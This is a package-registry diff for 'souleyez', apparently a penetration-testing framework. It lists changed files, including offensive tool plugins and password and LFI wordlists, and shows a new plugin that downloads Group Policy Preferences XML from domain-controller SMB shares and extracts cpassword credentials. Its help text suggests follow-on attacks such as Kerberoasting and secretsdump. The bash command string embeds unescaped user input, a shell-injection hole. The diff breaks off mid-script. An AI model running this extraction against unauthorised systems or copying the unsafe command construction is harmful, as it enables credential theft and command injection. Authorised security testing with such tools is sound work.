souleyez 2.43.29__py3-none-any.whl → 2.43.34__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- souleyez/__init__.py +1 -2
- souleyez/ai/__init__.py +21 -15
- souleyez/ai/action_mapper.py +249 -150
- souleyez/ai/chain_advisor.py +116 -100
- souleyez/ai/claude_provider.py +29 -28
- souleyez/ai/context_builder.py +80 -62
- souleyez/ai/executor.py +158 -117
- souleyez/ai/feedback_handler.py +136 -121
- souleyez/ai/llm_factory.py +27 -20
- souleyez/ai/llm_provider.py +4 -2
- souleyez/ai/ollama_provider.py +6 -9
- souleyez/ai/ollama_service.py +44 -37
- souleyez/ai/path_scorer.py +91 -76
- souleyez/ai/recommender.py +176 -144
- souleyez/ai/report_context.py +74 -73
- souleyez/ai/report_service.py +84 -66
- souleyez/ai/result_parser.py +222 -229
- souleyez/ai/safety.py +67 -44
- souleyez/auth/__init__.py +23 -22
- souleyez/auth/audit.py +36 -26
- souleyez/auth/engagement_access.py +65 -48
- souleyez/auth/permissions.py +14 -3
- souleyez/auth/session_manager.py +54 -37
- souleyez/auth/user_manager.py +109 -64
- souleyez/commands/audit.py +40 -43
- souleyez/commands/auth.py +35 -15
- souleyez/commands/deliverables.py +55 -50
- souleyez/commands/engagement.py +47 -28
- souleyez/commands/license.py +32 -23
- souleyez/commands/screenshots.py +36 -32
- souleyez/commands/user.py +82 -36
- souleyez/config.py +52 -44
- souleyez/core/credential_tester.py +87 -81
- souleyez/core/cve_mappings.py +179 -192
- souleyez/core/cve_matcher.py +162 -148
- souleyez/core/msf_auto_mapper.py +100 -83
- souleyez/core/msf_chain_engine.py +294 -256
- souleyez/core/msf_database.py +153 -70
- souleyez/core/msf_integration.py +679 -673
- souleyez/core/msf_rpc_client.py +40 -42
- souleyez/core/msf_rpc_manager.py +77 -79
- souleyez/core/msf_sync_manager.py +241 -181
- souleyez/core/network_utils.py +22 -15
- souleyez/core/parser_handler.py +34 -25
- souleyez/core/pending_chains.py +114 -63
- souleyez/core/templates.py +158 -107
- souleyez/core/tool_chaining.py +9526 -2879
- souleyez/core/version_utils.py +79 -94
- souleyez/core/vuln_correlation.py +136 -89
- souleyez/core/web_utils.py +33 -32
- souleyez/data/wordlists/ad_users.txt +378 -0
- souleyez/data/wordlists/api_endpoints_large.txt +769 -0
- souleyez/data/wordlists/home_dir_sensitive.txt +39 -0
- souleyez/data/wordlists/lfi_payloads.txt +82 -0
- souleyez/data/wordlists/passwords_brute.txt +1548 -0
- souleyez/data/wordlists/passwords_crack.txt +2479 -0
- souleyez/data/wordlists/passwords_spray.txt +386 -0
- souleyez/data/wordlists/subdomains_large.txt +5057 -0
- souleyez/data/wordlists/usernames_common.txt +694 -0
- souleyez/data/wordlists/web_dirs_large.txt +4769 -0
- souleyez/detection/__init__.py +1 -1
- souleyez/detection/attack_signatures.py +12 -17
- souleyez/detection/mitre_mappings.py +61 -55
- souleyez/detection/validator.py +97 -86
- souleyez/devtools.py +23 -10
- souleyez/docs/README.md +4 -4
- souleyez/docs/api-reference/cli-commands.md +2 -2
- souleyez/docs/developer-guide/adding-new-tools.md +562 -0
- souleyez/docs/user-guide/auto-chaining.md +30 -8
- souleyez/docs/user-guide/getting-started.md +1 -1
- souleyez/docs/user-guide/installation.md +26 -3
- souleyez/docs/user-guide/metasploit-integration.md +2 -2
- souleyez/docs/user-guide/rbac.md +1 -1
- souleyez/docs/user-guide/scope-management.md +1 -1
- souleyez/docs/user-guide/siem-integration.md +1 -1
- souleyez/docs/user-guide/tools-reference.md +1 -8
- souleyez/docs/user-guide/worker-management.md +1 -1
- souleyez/engine/background.py +1239 -535
- souleyez/engine/base.py +4 -1
- souleyez/engine/job_status.py +17 -49
- souleyez/engine/log_sanitizer.py +103 -77
- souleyez/engine/manager.py +38 -7
- souleyez/engine/result_handler.py +2200 -1550
- souleyez/engine/worker_manager.py +50 -41
- souleyez/export/evidence_bundle.py +72 -62
- souleyez/feature_flags/features.py +16 -20
- souleyez/feature_flags.py +5 -9
- souleyez/handlers/__init__.py +11 -0
- souleyez/handlers/base.py +188 -0
- souleyez/handlers/bash_handler.py +277 -0
- souleyez/handlers/bloodhound_handler.py +243 -0
- souleyez/handlers/certipy_handler.py +311 -0
- souleyez/handlers/crackmapexec_handler.py +486 -0
- souleyez/handlers/dnsrecon_handler.py +344 -0
- souleyez/handlers/enum4linux_handler.py +400 -0
- souleyez/handlers/evil_winrm_handler.py +493 -0
- souleyez/handlers/ffuf_handler.py +815 -0
- souleyez/handlers/gobuster_handler.py +1114 -0
- souleyez/handlers/gpp_extract_handler.py +334 -0
- souleyez/handlers/hashcat_handler.py +444 -0
- souleyez/handlers/hydra_handler.py +563 -0
- souleyez/handlers/impacket_getuserspns_handler.py +343 -0
- souleyez/handlers/impacket_psexec_handler.py +222 -0
- souleyez/handlers/impacket_secretsdump_handler.py +426 -0
- souleyez/handlers/john_handler.py +286 -0
- souleyez/handlers/katana_handler.py +425 -0
- souleyez/handlers/kerbrute_handler.py +298 -0
- souleyez/handlers/ldapsearch_handler.py +636 -0
- souleyez/handlers/lfi_extract_handler.py +464 -0
- souleyez/handlers/msf_auxiliary_handler.py +408 -0
- souleyez/handlers/msf_exploit_handler.py +380 -0
- souleyez/handlers/nikto_handler.py +413 -0
- souleyez/handlers/nmap_handler.py +821 -0
- souleyez/handlers/nuclei_handler.py +359 -0
- souleyez/handlers/nxc_handler.py +371 -0
- souleyez/handlers/rdp_sec_check_handler.py +353 -0
- souleyez/handlers/registry.py +292 -0
- souleyez/handlers/responder_handler.py +232 -0
- souleyez/handlers/service_explorer_handler.py +434 -0
- souleyez/handlers/smbclient_handler.py +344 -0
- souleyez/handlers/smbmap_handler.py +510 -0
- souleyez/handlers/smbpasswd_handler.py +296 -0
- souleyez/handlers/sqlmap_handler.py +1116 -0
- souleyez/handlers/theharvester_handler.py +601 -0
- souleyez/handlers/web_login_test_handler.py +327 -0
- souleyez/handlers/whois_handler.py +277 -0
- souleyez/handlers/wpscan_handler.py +554 -0
- souleyez/history.py +32 -16
- souleyez/importers/msf_importer.py +106 -75
- souleyez/importers/smart_importer.py +208 -147
- souleyez/integrations/siem/__init__.py +10 -10
- souleyez/integrations/siem/base.py +17 -18
- souleyez/integrations/siem/elastic.py +108 -122
- souleyez/integrations/siem/factory.py +207 -80
- souleyez/integrations/siem/googlesecops.py +146 -154
- souleyez/integrations/siem/rule_mappings/__init__.py +1 -1
- souleyez/integrations/siem/rule_mappings/wazuh_rules.py +8 -5
- souleyez/integrations/siem/sentinel.py +107 -109
- souleyez/integrations/siem/splunk.py +246 -212
- souleyez/integrations/siem/wazuh.py +65 -71
- souleyez/integrations/wazuh/__init__.py +5 -5
- souleyez/integrations/wazuh/client.py +70 -93
- souleyez/integrations/wazuh/config.py +85 -57
- souleyez/integrations/wazuh/host_mapper.py +28 -36
- souleyez/integrations/wazuh/sync.py +78 -68
- souleyez/intelligence/__init__.py +4 -5
- souleyez/intelligence/correlation_analyzer.py +309 -295
- souleyez/intelligence/exploit_knowledge.py +661 -623
- souleyez/intelligence/exploit_suggestions.py +159 -139
- souleyez/intelligence/gap_analyzer.py +132 -97
- souleyez/intelligence/gap_detector.py +251 -214
- souleyez/intelligence/sensitive_tables.py +266 -129
- souleyez/intelligence/service_parser.py +137 -123
- souleyez/intelligence/surface_analyzer.py +407 -268
- souleyez/intelligence/target_parser.py +159 -162
- souleyez/licensing/__init__.py +6 -6
- souleyez/licensing/validator.py +17 -19
- souleyez/log_config.py +79 -54
- souleyez/main.py +1505 -687
- souleyez/migrations/fix_job_counter.py +16 -14
- souleyez/parsers/bloodhound_parser.py +41 -39
- souleyez/parsers/crackmapexec_parser.py +178 -111
- souleyez/parsers/dalfox_parser.py +72 -77
- souleyez/parsers/dnsrecon_parser.py +103 -91
- souleyez/parsers/enum4linux_parser.py +183 -153
- souleyez/parsers/ffuf_parser.py +29 -25
- souleyez/parsers/gobuster_parser.py +301 -41
- souleyez/parsers/hashcat_parser.py +324 -79
- souleyez/parsers/http_fingerprint_parser.py +350 -103
- souleyez/parsers/hydra_parser.py +131 -111
- souleyez/parsers/impacket_parser.py +231 -178
- souleyez/parsers/john_parser.py +98 -86
- souleyez/parsers/katana_parser.py +316 -0
- souleyez/parsers/msf_parser.py +943 -498
- souleyez/parsers/nikto_parser.py +346 -65
- souleyez/parsers/nmap_parser.py +262 -174
- souleyez/parsers/nuclei_parser.py +40 -44
- souleyez/parsers/responder_parser.py +26 -26
- souleyez/parsers/searchsploit_parser.py +74 -74
- souleyez/parsers/service_explorer_parser.py +279 -0
- souleyez/parsers/smbmap_parser.py +180 -124
- souleyez/parsers/sqlmap_parser.py +434 -308
- souleyez/parsers/theharvester_parser.py +75 -57
- souleyez/parsers/whois_parser.py +135 -94
- souleyez/parsers/wpscan_parser.py +278 -190
- souleyez/plugins/afp.py +44 -36
- souleyez/plugins/afp_brute.py +114 -46
- souleyez/plugins/ard.py +48 -37
- souleyez/plugins/bloodhound.py +95 -61
- souleyez/plugins/certipy.py +303 -0
- souleyez/plugins/crackmapexec.py +186 -85
- souleyez/plugins/dalfox.py +120 -59
- souleyez/plugins/dns_hijack.py +146 -41
- souleyez/plugins/dnsrecon.py +97 -61
- souleyez/plugins/enum4linux.py +91 -66
- souleyez/plugins/evil_winrm.py +291 -0
- souleyez/plugins/ffuf.py +166 -90
- souleyez/plugins/firmware_extract.py +133 -29
- souleyez/plugins/gobuster.py +387 -190
- souleyez/plugins/gpp_extract.py +393 -0
- souleyez/plugins/hashcat.py +100 -73
- souleyez/plugins/http_fingerprint.py +854 -267
- souleyez/plugins/hydra.py +566 -200
- souleyez/plugins/impacket_getnpusers.py +117 -69
- souleyez/plugins/impacket_psexec.py +84 -64
- souleyez/plugins/impacket_secretsdump.py +103 -69
- souleyez/plugins/impacket_smbclient.py +89 -75
- souleyez/plugins/john.py +86 -69
- souleyez/plugins/katana.py +313 -0
- souleyez/plugins/kerbrute.py +237 -0
- souleyez/plugins/lfi_extract.py +541 -0
- souleyez/plugins/macos_ssh.py +117 -48
- souleyez/plugins/mdns.py +35 -30
- souleyez/plugins/msf_auxiliary.py +253 -130
- souleyez/plugins/msf_exploit.py +239 -161
- souleyez/plugins/nikto.py +134 -78
- souleyez/plugins/nmap.py +275 -91
- souleyez/plugins/nuclei.py +180 -89
- souleyez/plugins/nxc.py +285 -0
- souleyez/plugins/plugin_base.py +35 -36
- souleyez/plugins/plugin_template.py +13 -5
- souleyez/plugins/rdp_sec_check.py +130 -0
- souleyez/plugins/responder.py +112 -71
- souleyez/plugins/router_http_brute.py +76 -65
- souleyez/plugins/router_ssh_brute.py +118 -41
- souleyez/plugins/router_telnet_brute.py +124 -42
- souleyez/plugins/routersploit.py +91 -59
- souleyez/plugins/routersploit_exploit.py +77 -55
- souleyez/plugins/searchsploit.py +91 -77
- souleyez/plugins/service_explorer.py +1160 -0
- souleyez/plugins/smbmap.py +122 -72
- souleyez/plugins/smbpasswd.py +215 -0
- souleyez/plugins/sqlmap.py +301 -113
- souleyez/plugins/theharvester.py +127 -75
- souleyez/plugins/tr069.py +79 -57
- souleyez/plugins/upnp.py +65 -47
- souleyez/plugins/upnp_abuse.py +73 -55
- souleyez/plugins/vnc_access.py +129 -42
- souleyez/plugins/vnc_brute.py +109 -38
- souleyez/plugins/web_login_test.py +417 -0
- souleyez/plugins/whois.py +77 -58
- souleyez/plugins/wpscan.py +173 -69
- souleyez/reporting/__init__.py +2 -1
- souleyez/reporting/attack_chain.py +411 -346
- souleyez/reporting/charts.py +436 -501
- souleyez/reporting/compliance_mappings.py +334 -201
- souleyez/reporting/detection_report.py +126 -125
- souleyez/reporting/formatters.py +828 -591
- souleyez/reporting/generator.py +386 -302
- souleyez/reporting/metrics.py +72 -75
- souleyez/scanner.py +35 -29
- souleyez/security/__init__.py +37 -11
- souleyez/security/scope_validator.py +175 -106
- souleyez/security/validation.py +223 -149
- souleyez/security.py +22 -6
- souleyez/storage/credentials.py +247 -186
- souleyez/storage/crypto.py +296 -129
- souleyez/storage/database.py +73 -50
- souleyez/storage/db.py +58 -36
- souleyez/storage/deliverable_evidence.py +177 -128
- souleyez/storage/deliverable_exporter.py +282 -246
- souleyez/storage/deliverable_templates.py +134 -116
- souleyez/storage/deliverables.py +135 -130
- souleyez/storage/engagements.py +109 -56
- souleyez/storage/evidence.py +181 -152
- souleyez/storage/execution_log.py +31 -17
- souleyez/storage/exploit_attempts.py +93 -57
- souleyez/storage/exploits.py +67 -36
- souleyez/storage/findings.py +48 -61
- souleyez/storage/hosts.py +176 -144
- souleyez/storage/migrate_to_engagements.py +43 -19
- souleyez/storage/migrations/_001_add_credential_enhancements.py +22 -12
- souleyez/storage/migrations/_002_add_status_tracking.py +10 -7
- souleyez/storage/migrations/_003_add_execution_log.py +14 -8
- souleyez/storage/migrations/_005_screenshots.py +13 -5
- souleyez/storage/migrations/_006_deliverables.py +13 -5
- souleyez/storage/migrations/_007_deliverable_templates.py +12 -7
- souleyez/storage/migrations/_008_add_nuclei_table.py +10 -4
- souleyez/storage/migrations/_010_evidence_linking.py +17 -10
- souleyez/storage/migrations/_011_timeline_tracking.py +20 -13
- souleyez/storage/migrations/_012_team_collaboration.py +34 -21
- souleyez/storage/migrations/_013_add_host_tags.py +12 -6
- souleyez/storage/migrations/_014_exploit_attempts.py +22 -10
- souleyez/storage/migrations/_015_add_mac_os_fields.py +15 -7
- souleyez/storage/migrations/_016_add_domain_field.py +10 -4
- souleyez/storage/migrations/_017_msf_sessions.py +16 -8
- souleyez/storage/migrations/_018_add_osint_target.py +10 -6
- souleyez/storage/migrations/_019_add_engagement_type.py +10 -6
- souleyez/storage/migrations/_020_add_rbac.py +36 -15
- souleyez/storage/migrations/_021_wazuh_integration.py +20 -8
- souleyez/storage/migrations/_022_wazuh_indexer_columns.py +6 -4
- souleyez/storage/migrations/_023_fix_detection_results_fk.py +16 -6
- souleyez/storage/migrations/_024_wazuh_vulnerabilities.py +26 -10
- souleyez/storage/migrations/_025_multi_siem_support.py +3 -5
- souleyez/storage/migrations/_026_add_engagement_scope.py +31 -12
- souleyez/storage/migrations/_027_multi_siem_persistence.py +32 -15
- souleyez/storage/migrations/__init__.py +26 -26
- souleyez/storage/migrations/migration_manager.py +19 -19
- souleyez/storage/msf_sessions.py +100 -65
- souleyez/storage/osint.py +17 -24
- souleyez/storage/recommendation_engine.py +269 -235
- souleyez/storage/screenshots.py +33 -32
- souleyez/storage/smb_shares.py +136 -92
- souleyez/storage/sqlmap_data.py +183 -128
- souleyez/storage/team_collaboration.py +135 -141
- souleyez/storage/timeline_tracker.py +122 -94
- souleyez/storage/wazuh_vulns.py +64 -66
- souleyez/storage/web_paths.py +33 -37
- souleyez/testing/credential_tester.py +221 -205
- souleyez/ui/__init__.py +1 -1
- souleyez/ui/ai_quotes.py +12 -12
- souleyez/ui/attack_surface.py +2439 -1516
- souleyez/ui/chain_rules_view.py +914 -382
- souleyez/ui/correlation_view.py +312 -230
- souleyez/ui/dashboard.py +2382 -1130
- souleyez/ui/deliverables_view.py +148 -62
- souleyez/ui/design_system.py +13 -13
- souleyez/ui/errors.py +49 -49
- souleyez/ui/evidence_linking_view.py +284 -179
- souleyez/ui/evidence_vault.py +393 -285
- souleyez/ui/exploit_suggestions_view.py +555 -349
- souleyez/ui/export_view.py +100 -66
- souleyez/ui/gap_analysis_view.py +315 -171
- souleyez/ui/help_system.py +105 -97
- souleyez/ui/intelligence_view.py +436 -293
- souleyez/ui/interactive.py +22827 -10678
- souleyez/ui/interactive_selector.py +75 -68
- souleyez/ui/log_formatter.py +47 -39
- souleyez/ui/menu_components.py +22 -13
- souleyez/ui/msf_auxiliary_menu.py +184 -133
- souleyez/ui/pending_chains_view.py +336 -172
- souleyez/ui/progress_indicators.py +5 -3
- souleyez/ui/recommendations_view.py +195 -137
- souleyez/ui/rule_builder.py +343 -225
- souleyez/ui/setup_wizard.py +678 -284
- souleyez/ui/shortcuts.py +217 -165
- souleyez/ui/splunk_gap_analysis_view.py +452 -270
- souleyez/ui/splunk_vulns_view.py +139 -86
- souleyez/ui/team_dashboard.py +498 -335
- souleyez/ui/template_selector.py +196 -105
- souleyez/ui/terminal.py +6 -6
- souleyez/ui/timeline_view.py +198 -127
- souleyez/ui/tool_setup.py +264 -164
- souleyez/ui/tutorial.py +202 -72
- souleyez/ui/tutorial_state.py +40 -40
- souleyez/ui/wazuh_vulns_view.py +235 -141
- souleyez/ui/wordlist_browser.py +260 -107
- souleyez/ui.py +464 -312
- souleyez/utils/tool_checker.py +427 -367
- souleyez/utils.py +33 -29
- souleyez/wordlists.py +134 -167
- {souleyez-2.43.29.dist-info → souleyez-2.43.34.dist-info}/METADATA +1 -1
- souleyez-2.43.34.dist-info/RECORD +443 -0
- {souleyez-2.43.29.dist-info → souleyez-2.43.34.dist-info}/WHEEL +1 -1
- souleyez-2.43.29.dist-info/RECORD +0 -379
- {souleyez-2.43.29.dist-info → souleyez-2.43.34.dist-info}/entry_points.txt +0 -0
- {souleyez-2.43.29.dist-info → souleyez-2.43.34.dist-info}/licenses/LICENSE +0 -0
- {souleyez-2.43.29.dist-info → souleyez-2.43.34.dist-info}/top_level.txt +0 -0
|
@@ -0,0 +1,393 @@
|
|
|
1
|
+
#!/usr/bin/env python3
|
|
2
|
+
"""
|
|
3
|
+
GPP (Group Policy Preferences) credential extraction plugin.
|
|
4
|
+
|
|
5
|
+
Downloads GPP XML files from SMB shares and extracts/decrypts cPassword values.
|
|
6
|
+
"""
|
|
7
|
+
import os
|
|
8
|
+
import re
|
|
9
|
+
import subprocess
|
|
10
|
+
import tempfile
|
|
11
|
+
from typing import Any, Dict, List, Optional
|
|
12
|
+
|
|
13
|
+
from .plugin_base import PluginBase
|
|
14
|
+
|
|
15
|
+
HELP = {
|
|
16
|
+
"name": "GPP Extract — Group Policy Preferences Credential Extraction",
|
|
17
|
+
"description": (
|
|
18
|
+
"Extracts and decrypts credentials from Group Policy Preferences (GPP) XML files.\n\n"
|
|
19
|
+
"GPP files (Groups.xml, ScheduledTasks.xml, etc.) often contain encrypted passwords.\n"
|
|
20
|
+
"Microsoft published the AES key used for encryption (MS14-025), making these\n"
|
|
21
|
+
"passwords trivially decryptable.\n\n"
|
|
22
|
+
"This tool:\n"
|
|
23
|
+
"- Downloads GPP XML files from SMB shares via smbclient\n"
|
|
24
|
+
"- Extracts cpassword attributes from the XML\n"
|
|
25
|
+
"- Decrypts using gpp-decrypt (or built-in Python fallback)\n"
|
|
26
|
+
"- Stores plaintext credentials in the database\n\n"
|
|
27
|
+
"Common GPP file locations:\n"
|
|
28
|
+
"- \\\\DC\\SYSVOL\\domain\\Policies\\{GUID}\\Machine\\Preferences\\Groups\\Groups.xml\n"
|
|
29
|
+
"- \\\\DC\\Replication\\...\\Preferences\\Groups\\Groups.xml\n"
|
|
30
|
+
),
|
|
31
|
+
"usage": 'souleyez jobs enqueue gpp_extract <target> --args "--share <share> --path <path>"',
|
|
32
|
+
"examples": [
|
|
33
|
+
'souleyez jobs enqueue gpp_extract 10.10.10.100 --args "--share Replication --path active.htb/Policies/{GUID}/Machine/Preferences/Groups/Groups.xml"',
|
|
34
|
+
'souleyez jobs enqueue gpp_extract 192.168.1.1 --args "--share SYSVOL --path domain.local/Policies/{GUID}/Machine/Preferences/Groups/Groups.xml --user admin --password Pass123"',
|
|
35
|
+
],
|
|
36
|
+
"flags": [
|
|
37
|
+
["--share <name>", "SMB share name (e.g., SYSVOL, Replication)"],
|
|
38
|
+
["--path <path>", "Path to GPP file within the share"],
|
|
39
|
+
["--host <ip>", "Target host (defaults to target argument)"],
|
|
40
|
+
["--user <name>", "Username for authenticated access (optional)"],
|
|
41
|
+
["--password <pass>", "Password for authenticated access (optional)"],
|
|
42
|
+
],
|
|
43
|
+
"presets": [
|
|
44
|
+
{
|
|
45
|
+
"name": "Anonymous",
|
|
46
|
+
"args": [],
|
|
47
|
+
"desc": "Extract using anonymous/null session",
|
|
48
|
+
},
|
|
49
|
+
{
|
|
50
|
+
"name": "Authenticated",
|
|
51
|
+
"args": ["--user", "USER", "--password", "PASS"],
|
|
52
|
+
"desc": "Extract with credentials",
|
|
53
|
+
},
|
|
54
|
+
],
|
|
55
|
+
"help_sections": [
|
|
56
|
+
{
|
|
57
|
+
"title": "What is GPP Password Extraction?",
|
|
58
|
+
"color": "cyan",
|
|
59
|
+
"content": [
|
|
60
|
+
(
|
|
61
|
+
"Overview",
|
|
62
|
+
[
|
|
63
|
+
"Group Policy Preferences (GPP) can store encrypted passwords",
|
|
64
|
+
"Microsoft published the AES key (MS14-025) - passwords are trivially decryptable!",
|
|
65
|
+
"Found in SYSVOL/Replication shares on domain controllers",
|
|
66
|
+
],
|
|
67
|
+
),
|
|
68
|
+
(
|
|
69
|
+
"Why This Works",
|
|
70
|
+
[
|
|
71
|
+
"GPP was designed to set local admin passwords via Group Policy",
|
|
72
|
+
"The encryption key was meant to be secret but was published in MSDN docs",
|
|
73
|
+
"Despite being 'patched', old GPP files often remain on DCs",
|
|
74
|
+
],
|
|
75
|
+
),
|
|
76
|
+
],
|
|
77
|
+
},
|
|
78
|
+
{
|
|
79
|
+
"title": "Usage & Examples",
|
|
80
|
+
"color": "green",
|
|
81
|
+
"content": [
|
|
82
|
+
(
|
|
83
|
+
"Anonymous Access",
|
|
84
|
+
[
|
|
85
|
+
'souleyez jobs enqueue gpp_extract 10.10.10.100 --args "--share Replication --path active.htb/Policies/{GUID}/Machine/Preferences/Groups/Groups.xml"',
|
|
86
|
+
" → Downloads and decrypts GPP file via null session",
|
|
87
|
+
],
|
|
88
|
+
),
|
|
89
|
+
(
|
|
90
|
+
"With Credentials",
|
|
91
|
+
[
|
|
92
|
+
'souleyez jobs enqueue gpp_extract 10.10.10.100 --args "--share SYSVOL --path domain/Policies/{GUID}/... --user admin --password Pass123"',
|
|
93
|
+
" → Uses credentials to access the share",
|
|
94
|
+
],
|
|
95
|
+
),
|
|
96
|
+
],
|
|
97
|
+
},
|
|
98
|
+
{
|
|
99
|
+
"title": "Finding GPP Files",
|
|
100
|
+
"color": "yellow",
|
|
101
|
+
"content": [
|
|
102
|
+
(
|
|
103
|
+
"Common Locations",
|
|
104
|
+
[
|
|
105
|
+
"\\\\DC\\SYSVOL\\domain\\Policies\\{GUID}\\Machine\\Preferences\\Groups\\Groups.xml",
|
|
106
|
+
"\\\\DC\\SYSVOL\\domain\\Policies\\{GUID}\\User\\Preferences\\Groups\\Groups.xml",
|
|
107
|
+
"\\\\DC\\Replication\\...\\Preferences\\Groups\\Groups.xml",
|
|
108
|
+
],
|
|
109
|
+
),
|
|
110
|
+
(
|
|
111
|
+
"GPP File Types",
|
|
112
|
+
[
|
|
113
|
+
"Groups.xml - Local group membership and passwords",
|
|
114
|
+
"Services.xml - Service account credentials",
|
|
115
|
+
"ScheduledTasks.xml - Scheduled task credentials",
|
|
116
|
+
"DataSources.xml - Database connection strings",
|
|
117
|
+
"Drives.xml - Mapped drive credentials",
|
|
118
|
+
],
|
|
119
|
+
),
|
|
120
|
+
(
|
|
121
|
+
"Discovery Workflow",
|
|
122
|
+
[
|
|
123
|
+
"1. Run smbmap to enumerate shares",
|
|
124
|
+
"2. Look for SYSVOL or Replication with read access",
|
|
125
|
+
"3. Browse Policies folders for Preferences directories",
|
|
126
|
+
"4. Auto-chains will trigger this tool when GPP files found",
|
|
127
|
+
],
|
|
128
|
+
),
|
|
129
|
+
],
|
|
130
|
+
},
|
|
131
|
+
{
|
|
132
|
+
"title": "After Getting Credentials",
|
|
133
|
+
"color": "magenta",
|
|
134
|
+
"content": [
|
|
135
|
+
(
|
|
136
|
+
"Next Steps",
|
|
137
|
+
[
|
|
138
|
+
"Try credentials on SMB, WinRM, RDP, LDAP",
|
|
139
|
+
"Check if account has special privileges (Domain Admin?)",
|
|
140
|
+
"Use for Kerberoasting if it's a service account",
|
|
141
|
+
"Run secretsdump to extract more credentials",
|
|
142
|
+
],
|
|
143
|
+
),
|
|
144
|
+
],
|
|
145
|
+
},
|
|
146
|
+
],
|
|
147
|
+
}
|
|
148
|
+
|
|
149
|
+
|
|
150
|
+
class GppExtractPlugin(PluginBase):
|
|
151
|
+
"""Plugin for extracting credentials from GPP XML files."""
|
|
152
|
+
|
|
153
|
+
name = "gpp_extract"
|
|
154
|
+
display_name = "GPP Extract"
|
|
155
|
+
description = (
|
|
156
|
+
"Extract and decrypt credentials from Group Policy Preferences XML files"
|
|
157
|
+
)
|
|
158
|
+
category = "credentials"
|
|
159
|
+
HELP = HELP
|
|
160
|
+
|
|
161
|
+
examples = [
|
|
162
|
+
'souleyez jobs enqueue gpp_extract 10.10.10.100 --args "--share Replication --path active.htb/Policies/{GUID}/Machine/Preferences/Groups/Groups.xml"',
|
|
163
|
+
]
|
|
164
|
+
|
|
165
|
+
def build_command(
|
|
166
|
+
self,
|
|
167
|
+
target: str,
|
|
168
|
+
args: List[str] = None,
|
|
169
|
+
wordlist: str = None,
|
|
170
|
+
label: str = None,
|
|
171
|
+
) -> Dict[str, Any]:
|
|
172
|
+
"""
|
|
173
|
+
Build the command to download and extract GPP credentials.
|
|
174
|
+
|
|
175
|
+
Args format:
|
|
176
|
+
--share <share_name>
|
|
177
|
+
--path <path_to_gpp_file>
|
|
178
|
+
--host <host> (optional, defaults to target)
|
|
179
|
+
--user <username> (optional)
|
|
180
|
+
--password <password> (optional)
|
|
181
|
+
"""
|
|
182
|
+
args = args or []
|
|
183
|
+
|
|
184
|
+
# Parse args
|
|
185
|
+
share = None
|
|
186
|
+
path = None
|
|
187
|
+
host = target
|
|
188
|
+
user = ""
|
|
189
|
+
password = ""
|
|
190
|
+
|
|
191
|
+
i = 0
|
|
192
|
+
while i < len(args):
|
|
193
|
+
if args[i] == "--share" and i + 1 < len(args):
|
|
194
|
+
share = args[i + 1]
|
|
195
|
+
i += 2
|
|
196
|
+
elif args[i] == "--path" and i + 1 < len(args):
|
|
197
|
+
path = args[i + 1]
|
|
198
|
+
i += 2
|
|
199
|
+
elif args[i] == "--host" and i + 1 < len(args):
|
|
200
|
+
host = args[i + 1]
|
|
201
|
+
i += 2
|
|
202
|
+
elif args[i] == "--user" and i + 1 < len(args):
|
|
203
|
+
user = args[i + 1]
|
|
204
|
+
i += 2
|
|
205
|
+
elif args[i] == "--password" and i + 1 < len(args):
|
|
206
|
+
password = args[i + 1]
|
|
207
|
+
i += 2
|
|
208
|
+
else:
|
|
209
|
+
i += 1
|
|
210
|
+
|
|
211
|
+
if not share or not path:
|
|
212
|
+
return {
|
|
213
|
+
"cmd": ["echo", "Error: --share and --path are required"],
|
|
214
|
+
"timeout": 10,
|
|
215
|
+
}
|
|
216
|
+
|
|
217
|
+
# Build smbclient command to download the file
|
|
218
|
+
# We'll use a wrapper script approach since we need to parse output
|
|
219
|
+
smb_path = f"//{host}/{share}"
|
|
220
|
+
|
|
221
|
+
# Credential args
|
|
222
|
+
cred_args = "-N" # No password (anonymous)
|
|
223
|
+
if user:
|
|
224
|
+
cred_args = f"-U '{user}%{password}'"
|
|
225
|
+
|
|
226
|
+
# Build smbclient get command
|
|
227
|
+
cmd = [
|
|
228
|
+
"bash",
|
|
229
|
+
"-c",
|
|
230
|
+
f"""
|
|
231
|
+
set -e
|
|
232
|
+
echo "=== GPP Credential Extraction ==="
|
|
233
|
+
echo "Host: {host}"
|
|
234
|
+
echo "Share: {share}"
|
|
235
|
+
echo "Path: {path}"
|
|
236
|
+
echo ""
|
|
237
|
+
|
|
238
|
+
# Create temp directory for download
|
|
239
|
+
TMPDIR=$(mktemp -d)
|
|
240
|
+
trap "rm -rf $TMPDIR" EXIT
|
|
241
|
+
|
|
242
|
+
# Download the GPP file
|
|
243
|
+
echo "[*] Downloading GPP file..."
|
|
244
|
+
smbclient '{smb_path}' {cred_args} -c "get \\"{path}\\" \\"$TMPDIR/gpp.xml\\"" 2>&1 || true
|
|
245
|
+
|
|
246
|
+
if [ ! -f "$TMPDIR/gpp.xml" ]; then
|
|
247
|
+
echo "[-] Failed to download GPP file"
|
|
248
|
+
echo "[-] Trying alternative path format..."
|
|
249
|
+
# Try without leading path component
|
|
250
|
+
ALTPATH=$(echo "{path}" | sed 's|^[^/]*/||')
|
|
251
|
+
smbclient '{smb_path}' {cred_args} -c "get \\"$ALTPATH\\" \\"$TMPDIR/gpp.xml\\"" 2>&1 || true
|
|
252
|
+
fi
|
|
253
|
+
|
|
254
|
+
if [ ! -f "$TMPDIR/gpp.xml" ]; then
|
|
255
|
+
echo "[-] Failed to download GPP file"
|
|
256
|
+
exit 1
|
|
257
|
+
fi
|
|
258
|
+
|
|
259
|
+
echo "[+] Downloaded GPP file successfully"
|
|
260
|
+
echo ""
|
|
261
|
+
echo "=== GPP File Contents ==="
|
|
262
|
+
cat "$TMPDIR/gpp.xml"
|
|
263
|
+
echo ""
|
|
264
|
+
echo ""
|
|
265
|
+
|
|
266
|
+
# Extract cPassword using grep/sed
|
|
267
|
+
echo "=== Extracting Credentials ==="
|
|
268
|
+
CPASSWORD=$(grep -oP 'cpassword="\\K[^"]+' "$TMPDIR/gpp.xml" 2>/dev/null || true)
|
|
269
|
+
USERNAME=$(grep -oP 'userName="\\K[^"]+' "$TMPDIR/gpp.xml" 2>/dev/null || true)
|
|
270
|
+
NEWNAME=$(grep -oP 'newName="\\K[^"]+' "$TMPDIR/gpp.xml" 2>/dev/null || true)
|
|
271
|
+
|
|
272
|
+
if [ -z "$CPASSWORD" ]; then
|
|
273
|
+
# Try alternative attribute names
|
|
274
|
+
